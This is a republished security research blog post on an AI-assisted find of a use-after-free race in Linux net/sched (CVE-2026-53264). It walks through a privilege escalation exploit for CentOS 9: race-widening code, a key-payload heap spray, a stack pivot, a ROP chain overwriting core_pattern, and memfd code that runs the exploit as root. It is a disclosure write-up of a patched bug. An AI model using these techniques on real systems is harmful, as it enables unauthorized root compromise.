{"slug": "when-ai-makes-0-days-feel-like-n-days", "title": "When AI Makes 0-Days Feel Like N-Days", "summary": "A security researcher disclosed a use-after-free (UAF) vulnerability in the Linux kernel's net/sched subsystem, found with AI assistance, that allows local privilege escalation (LPE). The bug stems from a lock-mismatch in tcf_idr_check_alloc(), which accesses the action IDR with only rcu_read_lock() while actions are freed without waiting for an RCU grace period. The researcher developed an LPE exploit targeting CentOS 9 desktop for TyphoonPwn 2026 and also found two exploitable bugs in kernel/events/core.c.", "body_md": "# When AI Makes 0-Days Feel Like N-Days\n\n## Table of Contents\n\n## Introduction\n\nAfter my n-day analysis on net/tls bugs and exploit writing for a patched net/rxrpc bug, I moved on to 0-day bug hunting. With the help of AI, I found a UAF bug in net/sched, and went about creating an LPE exploit based on it. This blog goes into the technical details of that exploit, and how I optimized it to target CentOS 9 desktop in TyphoonPwn 2026.\n\nAdditionally, I will show a glimpse of two other exploitable bugs I found in kernel/events/core.c (with an LPE exploit for one).\n\n### AI usage\n\nCompared to my previous exploit for an n-day in net/rxrpc, I had a greater focus on completing and improving this exploit quickly rather than fully understanding every aspect from the ground up. As such, I used AI to speed up various aspects of the process - discovery of the bug, KASAN poc, and improving the race condition. It was certainly helpful for iterating quickly, but still lacking in reasoning ability and having clear blind spots. It was still crucial to exercise my own judgement especially when fine-tuning.\n\n## Brief conceptual overview of net/sched\n\nnet/sched is the packet scheduling subsystem in linux. It sits in a layer above the device drivers, and decides when, in what order, and whether packets are transmitted. It also provides an API through netlink to configure packet handling rules. Each network device is attached to a Qdisc (queueing discipline) that holds all this configuration data.\n\nTo decide what to do with a given packet, net/sched introduces chains, filters and actions. Chains are an ordered list of filters, filters check for certain attributes in the packet, and based on that, decide what *action* to perform on it.\n\nnet/sched is designed in a way to maximally allow reuse of components - multiple network devices can share the same Qdisc. Importantly for this bug, actions can be shared within the same net namespace, and are uniquely identified by an “index”. A per-net radix tree `action_idr`\n\nrecords all action objects and enables lookup by their indexes. This is done by the `tcf_idr_check_alloc`\n\nfunction:\n\n```\nint tcf_idr_check_alloc(struct tc_action_net *tn, u32 *index,\n\t\t\tstruct tc_action **a, int bind)\n{\n\tstruct tcf_idrinfo *idrinfo = tn->idrinfo;\n\tstruct tc_action *p;\n\tint ret;\n\tu32 max;\n\n\tif (*index) {\n\t\trcu_read_lock();\n\t\tp = idr_find(&idrinfo->action_idr, *index); // [0]: ACTION LOOKUP\n\n\t\t// [1]: WINDOW OPENS\n\n\t\tif (IS_ERR(p)) {\n\t\t\t/* This means that another process allocated\n\t\t\t * index but did not assign the pointer yet.\n\t\t\t */\n\t\t\trcu_read_unlock();\n\t\t\treturn -EAGAIN;\n\t\t}\n\n\t\tif (!p) {\n\t\t\t/* Empty slot, try to allocate it */\n\t\t\tmax = *index;\n\t\t\trcu_read_unlock();\n\t\t\tgoto new;\n\t\t}\n\n\t\t// [2]: WINDOW CLOSES\n\n\t\tif (!refcount_inc_not_zero(&p->tcfa_refcnt)) {\n\t\t\t/* Action was deleted in parallel */\n\t\t\trcu_read_unlock();\n\t\t\treturn -EAGAIN;\n\t\t}\n\n\t\tif (bind)\n\t\t\tatomic_inc(&p->tcfa_bindcnt);\n\t\t*a = p;\n\n\t\trcu_read_unlock();\n\n\t\treturn 1;\n\t} else {\n\t\t/* Find a slot */\n\t\t*index = 1;\n\t\tmax = UINT_MAX;\n\t}\n\nnew:\n\t*a = NULL;\n\n\tmutex_lock(&idrinfo->lock);\n\tret = idr_alloc_u32(&idrinfo->action_idr, ERR_PTR(-EBUSY), index, max,\n\t\t\t    GFP_KERNEL);\n\tmutex_unlock(&idrinfo->lock);\n\n\t/* N binds raced for action allocation,\n\t * retry for all the ones that failed.\n\t */\n\tif (ret == -ENOSPC && *index == max)\n\t\tret = -EAGAIN;\n\n\treturn ret;\n}\n```\n\nWhen creating a filter with a list of actions, we can simply specify the action index and it will be fetched from the idr without having to create a new object.\n\nFor this exploit, we need only focus on the netlink operations used to configure packet-handling rules, specifically those for creating and deleting filters.\n\n## The bug\n\nThe vulnerability is a lock-mismatch: `tcf_idr_check_alloc()`\n\naccesses the action idr with only `rcu_read_lock()`\n\n, while actions are freed with `idrinfo->lock`\n\nand `rtnl_lock()`\n\nheld, but without waiting for the RCU grace period (i.e. raw kfree).\n\nThus, this leads to a race condition where the action can be freed during lookup leading to a UAF scenario.\n\nTake another look at the `tcf_idr_check_alloc`\n\nfunction above. If the retrieved `tc_action`\n\nhas a `tcfa_refcnt`\n\nof 0, it gets dropped harmlessly. Thus, for a successful UAF we have to both free and reclaim the action (to overwrite `tcfa_refcnt`\n\n) within the same window [1] to [2].\n\nThe basic structure of the race looks like this:\n\n```\nCPU 0: lookup action  CPU 1: delete action  CPU 2: reclaim\n====================  ====================  ==============\np = idr_find(\n  &idrinfo->action_idr,\n  *index\n);\n                      kfree(p);\n                                            // reclaim\n                                            // set p->tcfa_refcnt != 0\nrefcount_inc_not_zero(\n  &p->tcfa_refcnt\n)\n```\n\n### How are these functions reached?\n\nI initially proved the bug using RTM_NEWACTION and RTM_DELACTION. However, these operations require CAP_NET_ADMIN in the *init* namespace, making this path infeasible:\n\n```\nstatic int tc_ctl_action(struct sk_buff *skb, struct nlmsghdr *n,\n\t\t\t struct netlink_ext_ack *extack)\n{\n\tstruct net *net = sock_net(skb->sk);\n\tstruct nlattr *tca[TCA_ROOT_MAX + 1];\n\tu32 portid = NETLINK_CB(skb).portid;\n\tu32 flags = 0;\n\tint ret = 0;\n\n\tif ((n->nlmsg_type != RTM_GETACTION) &&\n\t    !netlink_capable(skb, CAP_NET_ADMIN))\n\t\treturn -EPERM;\n```\n\nInstead, we have to use RTM_NEWTFILTER and RTM_DELTFILTER. When creating a filter, we also specify a list of actions to create along with it. Likewise, deleting a filter allows us to free its actions once all other refs have been dropped.\n\nBy itself, this race is pretty challenging to hit. In the next section I’ll describe the techniques I used to ensure the race gets hit quickly, but first, some requirements for this exploit:\n\n### Extra requirements\n\nNote that in most cases, `rtnl_lock()`\n\nis taken in this path:\n\n```\nstatic int tc_new_tfilter(struct sk_buff *skb, struct nlmsghdr *n,\n\t\t\t  struct netlink_ext_ack *extack)\n{\n\t...\n\n\t/* Take rtnl mutex if rtnl_held was set to true on previous iteration,\n\t * block is shared (no qdisc found), qdisc is not unlocked, classifier\n\t * type is not specified, classifier is not unlocked.\n\t */\n\tif (rtnl_held ||\n\t    (q && !(q->ops->cl_ops->flags & QDISC_CLASS_OPS_DOIT_UNLOCKED)) ||\n\t    !tcf_proto_is_unlocked(name)) {\n\t\trtnl_held = true;\n\t\trtnl_lock();\n\t}\n```\n\nBy using a clsact qdisc and flower filter (which have the necessary DOIT_UNLOCKED flags set), we can avoid taking the lock. This requires CONFIG_NET_ACT_GACT=y or m and CONFIG_NET_CLS_FLOWER=y or m.\n\nSince the bug can only be reached through netlink operations, we need to create a separate user namespace to have CAP_NET_ADMIN and pass the check:\n\n```\nstatic int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,\n\t\t\t     struct netlink_ext_ack *extack)\n{\n\t...\n\n\tif (kind != RTNL_KIND_GET && !netlink_net_capable(skb, CAP_NET_ADMIN))\n\t\treturn -EPERM;\n```\n\nThus, this exploit also requires unprivileged user namespaces to be enabled.\n\n## Race optimization\n\nThe first optimization is a generic window-widening technique using `timerfd`\n\nand `epoll`\n\n, described in detail [here](https://projectzero.google/2022/03/racing-against-clock-hitting-tiny.html). Basically, `timerfd`\n\ns allow a user to specify a certain timespan, after which a *hardware interrupt* is triggered on the same CPU and the handler code is run, which signals all waiters. By attaching many `epoll`\n\nobjects we can make the list of waiters really long, stalling the CPU. Also do a sweep on the time taken from timer start to the race window:\n\n```\nstruct itimerspec its = { .it_value = { .tv_nsec = 30000 } };\ntimerfd_settime(tfd, 0, &its, NULL);\n\nvolatile int j;\nint spin = (i * 37) % 2000;\nfor (j = 0; j < spin; j++);\n\nint ret = nl_do(fd, (struct nlmsghdr *)b->buf); // Add a filter, reaches tcf_idr_check_alloc\n```\n\nThe second optimization is for separate threads to create filters on separate chains. Each chain has its own mutex that gets taken during `tcf_chain_tp_find`\n\nin `tc_new_tfilter`\n\n. Using separate chains sped up the race by a surprising amount.\n\nThe third optimization is a major restructuring of the race, by using an error path that lets us eliminate a lot of overhead. This setup uses 2 types of racing threads: *binder* and *deleter*.\n\n### 1. Binder threads\n\nThis thread utilizes the error path in filter creation. It submits a filter create request with two actions:\n\n- Action with idx 42\n- Action with invalid format\n\nThe first action is successfully fetched with `tcf_idr_check_alloc()`\n\n, and the race happens here [0]. If action 42 isn’t in the idr, it gets allocated but *not* inserted into the idr (bulk-insertion is only done at the end of the function [2], but this is never reached). Upon reading the second action, it fails and aborts [1]; a filter is never created and nothing is inserted into the idr. See [here](https://elixir.bootlin.com/linux/v7.1.4/source/net/sched/act_api.c#L1461) for the full function.\n\n```\nint tcf_action_init(struct net *net, struct tcf_proto *tp, struct nlattr *nla,\n\t\t    struct nlattr *est, struct tc_action *actions[],\n\t\t    int init_res[], size_t *attr_size,\n\t\t    u32 flags, u32 fl_flags,\n\t\t    struct netlink_ext_ack *extack)\n{\n\t...\n\n\tfor (i = 1; i <= TCA_ACT_MAX_PRIO && tb[i]; i++) {\n\t\tact = tcf_action_init_1(net, tp, tb[i], est, ops[i - 1],\n\t\t\t\t\t&init_res[i - 1], flags, extack);\t// [0]\n\t\tif (IS_ERR(act)) {\n\t\t\terr = PTR_ERR(act);\n\t\t\tgoto err;\t\t\t\t\t\t\t\t\t// [1]\n\t\t}\n\t\tsz += tcf_action_fill_size(act);\n\t\t/* Start from index 0 */\n\t\tactions[i - 1] = act;\n\t\t...\n\t}\n\n\t/* We have to commit them all together, because if any error happened in\n\t * between, we could not handle the failure gracefully.\n\t */\n\ttcf_idr_insert_many(actions, init_res);\t\t\t\t// [2]\n\n\t*attr_size = tcf_action_full_attrs_size(sz);\n\terr = i - 1;\n\tgoto err_mod;\n\nerr:\n\ttcf_action_destroy(actions, flags & TCA_ACT_FLAGS_BIND);\nerr_mod:\n\tfor (i = 0; i < TCA_ACT_MAX_PRIO && ops[i]; i++)\n\t\tmodule_put(ops[i]->owner);\n\treturn err;\n}\n```\n\nThis saves the overhead of a second netlink operation to delete the newly created filter.\n\n### 2. Deleter threads\n\nThis thread does 2 main things:\n\n- Creates a filter with one action, idx 42\n- Deletes that filter\n\nContrary to the name, the action might not be freed here, rather, it’s freed on whichever thread dropped the last ref. This thread exists only to insert action 42 into the idr. Thus, only one of it is necessary.\n\n### Final race setup\n\nWe have N binder threads and a single deleter thread running on separate CPUs, all operating with action 42. With this setup, time taken from over 15 minutes to around 5 seconds. This can likely be brought down further by using multiple action indexes.\n\n## kASLR leak\n\nAt the start of the exploit, I used the EntryBleed implementation [here](https://github.com/google/kernel-research/blob/main/libxdk/util/pwn_utils.cpp) to leak kaslr.\n\n## Exploit - primitives\n\n`tc_action`\n\nis a rich object and there are many useful primitives in the post-reclaim code paths. For example, arbitrary kfree of `user_cookie->data`\n\nand `user_cookie`\n\n(which could be used for a data-only exploit). For this exploit I used an indirect call in the `ops`\n\nvtable:\n\n``` js\nstatic size_t tcf_action_fill_size(const struct tc_action *act)\n{\n\tsize_t sz = tcf_action_shared_attrs_size(act);\n\n\tif (act->ops->get_fill_size)\n\t\treturn act->ops->get_fill_size(act) + sz;\n\treturn sz;\n}\n```\n\n### Reclaim object\n\n`tc_action`\n\nis allocated from the `kmalloc-256`\n\ncache. I reclaim it with a `user_key_payload`\n\nobject:\n\n```\n    tc_action             user_key_payload\n    =========             ================\n 0  tc_action_ops *ops    *rcu.next\n 8  u32 type              *rcu.func\n16  tcf_idrinfo *idrinfo  u16 datalen\n24  u32 tcfa_index        data[0:8]  (user controlled)\n    ...                   data[8:16] (cont.)\n```\n\nActually, the victim object is sometimes reclaimed by a temporary buffer allocated by keyctl to copy user data:\n\n```\n    tc_action             payload\n    =========             =======\n 0  tc_action_ops *ops    data[0:8]  (user controlled)\n    ...                   data[8:16] (cont.)\n```\n\nI built an initial exploit around the second case, but the final version uses the first case since it’s simpler and more reliable. To avoid crashes when the victim happens to be reclaimed by `payload`\n\n, I set the first 8 bytes of `data`\n\nto a pointer to NULL (obtained through kaslr leak), harmlessly avoiding the calls.\n\nIn retrospect, simply setting\n\n`len(data) == 192`\n\nsuch that the temporary buffer falls in a different kmem_cache would actually be better. 192 bytes is sufficient to overwrite all important fields.\n\n### RCU\n\nBefore gaining RIP control, this is a brief detour into linux RCU to explain how the `rcu_head`\n\npart of `user_key_payload`\n\nworks. RCU is a cheap synchronization mechanism where all reads are done within a “grace period”, and all the writes/updates afterwards.\n\nHere is a good article that delves into RCU internals:\n\n[https://u1f383.github.io/linux/2024/09/20/linux-rcu-internal.html]\n\nOne of the ways to achieve this is by deferring writes using the `call_rcu(head, func)`\n\nfunction. This function takes a pointer to the `rcu_head`\n\nstruct within the target object, and a function pointer to perform the update (in this case free) on that object. `call_rcu`\n\nadds it to a per-cpu linked list of all the rcu updates to be done, and the function continues without blocking. After the grace period, all those functions are invoked.\n\n```\nstruct callback_head {\n\tstruct callback_head *next;\n\tvoid (*func)(struct callback_head *head);\n} __attribute__((aligned(sizeof(void *))));\n#define rcu_head callback_head\n```\n\nTaking the example of `user_key_payload`\n\n, the RCU callback is defined as:\n\n```\nstatic void user_free_payload_rcu(struct rcu_head *head)\n{\n\tstruct user_key_payload *payload;\n\n\tpayload = container_of(head, struct user_key_payload, rcu);\n\tkfree_sensitive(payload);\n}\n```\n\nAnd it gets called here (this is also the function used for the reclaim spray):\n\n```\nint user_update(struct key *key, struct key_preparsed_payload *prep)\n{\n\tstruct user_key_payload *zap = NULL;\n\tint ret;\n\n\t/* check the quota and attach the new data */\n\tret = key_payload_reserve(key, prep->datalen);\n\tif (ret < 0)\n\t\treturn ret;\n\n\t/* attach the new data, displacing the old */\n\tkey->expiry = prep->expiry;\n\tif (key_is_positive(key))\n\t\tzap = dereference_key_locked(key);\n\trcu_assign_keypointer(key, prep->payload.data[0]);\n\tprep->payload.data[0] = NULL;\n\n\tif (zap)\n\t\tcall_rcu(&zap->rcu, user_free_payload_rcu); // <--\n\treturn ret;\n}\n```\n\n### KEYCTL_UPDATE spray\n\nAs shown in the function above, KEYCTL_UPDATE allocates a new `user_key_payload`\n\nand frees the old one by RCU. By repeatedly calling KEYCTL_UPDATE, we can reclaim the victim object with `user_key_payload`\n\nobjects linked by `rcu.next`\n\n, which overlaps the `ops`\n\nvtable! This gives us RIP control by setting a pointer at offset +0x70.\n\n## RIP control to arbitrary write\n\nThere are techniques to spray carefully crafted BPF shellcode to get a “kernel one-gadget” that performs an arbitrary write, see [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2025-21700_lts_cos_mitigation/docs/novel-techniques.md). I used this in my initial exploit, but this proved unreliable as it requires fine-tuning for each machine based on space taken up by other modules and existing BPF JIT packs, and for some reason the FPU register state sometimes gets cleared randomly.\n\nFortunately, on the target CentOS 9 desktop, there is a much simpler and more reliable solution. Look at the shellcode for `tcf_action_fill_size`\n\n:\n\nrbp points to our reclaimed `user_key_payload`\n\n! This makes it easy to do a stack pivot onto the nearby buffer holding our data. We need a total of 4 pops (for rcu.next, rcu.func, datalen, and the previously set pointer to NULL). I used the following gadget at .ktext+0x6ccc7d:\n\n```\nleave\npop rax\nmov rax,r9\npop rbp\npop r14\njmp 0xffffffff81d6dcf0  <__x86_return_thunk>\n```\n\nOn later kernel versions\n\n`tcf_action_fill_size`\n\nuses ebp instead of rbp, so this method doesn’t work\n\n### One final, minor bug\n\nI wrote a ROP chain to overwrite `core_pattern`\n\n, but the exploit kept crashing after the write succeeded. After much debugging, I realised it was because I was leaving the kernel stack pointer inside a heap object. After the write, I had placed an `msleep(0x80000)`\n\n(it was impossible to restore the original rsp to exit gracefully). This causes a context switch to another thread, and the stack grows downwards and writes `pt_regs`\n\nwhile still inside `user_key_payload`\n\n, corrupting adjacent heap objects and causing a kernel panic.\n\nTo fix this, I simply did another stack pivot to a (seemingly) unused memory region in .ktext that wall full of NULLs (this is the same address of the pointer to NULL at the start of the key payload data). This way, there would be more room for the kernel stack, and it solved the crash. Here’s the final ROP chain:\n\n```\n((u64 *)keyctl_payload)[0] = NULL_AT;\n((u64 *)keyctl_payload)[1] = POP_RDI_RET;\n((u64 *)keyctl_payload)[2] = NULL_AT;\n((u64 *)keyctl_payload)[3] = POP_RSI_RET;\n((u64 *)keyctl_payload)[4] = (u64)&pivot_rop;\n((u64 *)keyctl_payload)[5] = POP_RDX_RET;\n((u64 *)keyctl_payload)[6] = sizeof(pivot_rop);\n((u64 *)keyctl_payload)[7] = COPY_FROM_USER;\n((u64 *)keyctl_payload)[8] = POP_RSP_RET;\n((u64 *)keyctl_payload)[9] = NULL_AT;\n\n((u64 *)keyctl_payload)[11] = STACK_PIVOT; // treated as p->ops->get_fill_size\n\n((u32 *)keyctl_payload)[(128-24) / 4] = 0; // set spinlock to 0 so it doesnt crash\n((u64 *)keyctl_payload)[(0xb0-24) / 8] = 0; // set user_cookie = NULL\n```\n\nPart 2:\n\n```\nchar *fake_core_pattern = \"|/proc/%P/fd/666 %P\";\n\nunsigned long long pivot_rop[] = {\n\tPOP_RDI_RET,\n\tCORE_PATTERN,\n\tPOP_RSI_RET,\n\t(unsigned long long)fake_core_pattern,\n\tPOP_RDX_RET,\n\t0x30,\n\tCOPY_FROM_USER,\n\tPOP_RDI_RET,\n\t0x80000,\n\tMSLEEP,\n};\n```\n\nWith that, `core_pattern`\n\nis overwritten. We simply poll it occasionally to check when it gets changed (for now, every 500 iters on the deleter thread). After which, we open a memfd with our exploit binary’s contents, dup it to 666, and crash. Linux executes our binary as the core dump handler (runs as root in the init namespace). This is a common technique:\n\n```\nif (fork() == 0) {\n\tsetsid();\n\tint memfd = memfd_create(\"\", 0);\n\tSYSCHK(sendfile(memfd, open(\"/proc/self/exe\", 0), 0, 0xffffffff));\n\tdup2(memfd, 666);\n\tclose(memfd);\n\t*(size_t *)0 = 0;\n}\n```\n\n## Final exploit\n\nI installed CentOS 9 desktop on my i5-1235U laptop (TyphoonPwn used i5-1334U) and ran the final exploit 10 times consecutively. All runs succeeded, taking 10s, 10s, 9s, 11s, 11s, 111s, 64s, 69s, 47s, 10s. The spike in time taken was probably due to CPU frequency being throttled due to temperature (after run 7, I let the laptop cool down for a while).\n\nActually, runs that took 10s often had overwritten core_pattern within much sooner. I probably should have made checks more frequent, perhaps with an exponentially growing check interval (you can see this in the video below).\n\nThe main disadvantage of this exploit is that it relies on hardcoded ROP gadget offsets that need to be tuned for different kernels (in particular, it will be much harder and sometimes impossible to stack pivot in the same way). Perhaps if I had to write it all over again, I would focus on a data-only approach with the arbitrary kfree primitive (maybe somehow free a pipe_buffer page and reclaim it with a PTE).\n\n### Demo video\n\nI’m writing this 2 months after the fact and have already uninstalled CentOS 9, also the original image I tested on (CentOS-Stream-9-20260526.0-x86_64-dvd1) is no longer available. Instead, I setup a VM with the oldest available iso (CentOS-Stream-9-20260706.0-x86_64-dvd1) which seems to be still vulnerable, and updated the ROP chain offsets.\n\nAs you can see, binder 1 stops printing almost immediately, and binder 0 stops printing shortly after. This is because they got blocked by msleep() after the core_pattern overwrite (it actually happened twice in this run before it got detected).\n\n## TyphoonPwn 2026 results\n\nTyphoonPwn 2026 ran in this format: each participant would be given a randomized queue number, which was the order our exploits would be run. The first 3 to successfully root the machine would win cash prizes (70k, 35k, 17.5k), after which the category was closed and subsequent exploits would not be tested. Participants also had 3 attempts given within a 30-minute window. Between these attempts, participants could also debug and fix their exploits. On 27 May 8am SGT, the day before the competition, each registered participant would be told their queue number and given the option to send their exploit and writeup, or withdraw from the competition.\n\nAs soon as I woke up that morning, I immediately checked my phone for my queue number.\n\nWell, this was quite an unfortunate result. I would need 5 exploits to fail (each with 3 attempts) before I even stood a chance of winning a prize! Nevertheless, I still sent over my exploit and writeup.\n\nAt 3.13pm, I received another email that there were already 3 winners for the Linux LPE category. As such, I sadly never got to demonstrate my exploit.\n\nTo make matters worse, a few days later, someone told me that KyleBot had already reported the bug 2 days before TyphoonPwn!\n\nTo be honest, I couldn’t be too surprised - even though the bug is 2-3 years old, it was found by AI without much extra context.\n\nThis vulnerability was assigned `CVE-2026-53264`\n\n, patched in [this commit](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=5057e1aca011e51ef51498c940ef96f3d3e8a305). The exploit I submitted for TyphoonPwn can be found [here](https://github.com/star-sg/CVE/tree/master/CVE-2026-53264).\n\n## Other bugs found\n\nBy experimenting with different tooling and approaches, I found a few other exploitable bugs in Linux. I reported the two most valuable ones (both in perf/events), which are reachable for kernels running on Intel bare metal and `perf_event_paranoid <= 2`\n\n(true for RHEL-based distros, Arch, etc. but not Debian-based distros). Their use is limited mainly to desktop Linux, since almost all cloud instances run in VMs which don’t allow access to the `intel_pt`\n\nPMU.\n\nTo be honest, I was never really targeting this subsystem, and both these bugs were found while testing other tools. I will likely do a separate blog post on them in the future.\n\nThe first bug (patch [here](https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=e62d4192e593630f355094adc467058a05bdc935)) was found by searching for the same “raw free with rcu access” pattern. It gives a UAF-write primitive but is difficult to control as it overwrites pretty much the entire object.\n\nThe second bug (patch [here](https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=5948aaf64f81f217a25dcc2bf6c0779bca19566c)) was found around the 2nd last week of my internship! It gives a powerful page-UAF primitive, which I quickly converted to a reliable LPE:\n\nThe same exploit was also tested successfully on Arch, kernel 7.0.12-arch1-1. This was assigned `CVE-2026-64300`\n\n.\n\n## Closing thoughts\n\nThis internship was my first look into the Linux kernel, and it has been highly educational. One thing that surprised me was how effective AI was in finding bugs in Linux. In a sense, this made it feel more like I was doing n-day analysis even on new bugs. It also meant I was spending more time thinking of the bug-hunting process on a higher level rather than studying subsystem internals.\n\nHowever, I believe there is still much value in diving into subsystem internals, and it’s something I think I wish I had done more of. AI still has many blind spots and lapses in reasoning ability, so having a deep understanding of the target helps in finding ideas that AI overlooks. And even if I don’t find anything, I still learned something cool!", "url": "https://wpnews.pro/news/when-ai-makes-0-days-feel-like-n-days", "canonical_source": "https://starlabs.sg/blog/2026/07-when-ai-makes-0-days-feel-like-n-days/", "published_at": "2026-07-28 10:40:48+00:00", "updated_at": "2026-07-28 10:52:17.324129+00:00", "lang": "en", "topics": ["ai-tools", "ai-research"], "entities": ["Linux kernel", "CentOS 9", "TyphoonPwn 2026"], "alternates": {"html": "https://wpnews.pro/news/when-ai-makes-0-days-feel-like-n-days", "markdown": "https://wpnews.pro/news/when-ai-makes-0-days-feel-like-n-days.md", "text": "https://wpnews.pro/news/when-ai-makes-0-days-feel-like-n-days.txt", "jsonld": "https://wpnews.pro/news/when-ai-makes-0-days-feel-like-n-days.jsonld"}}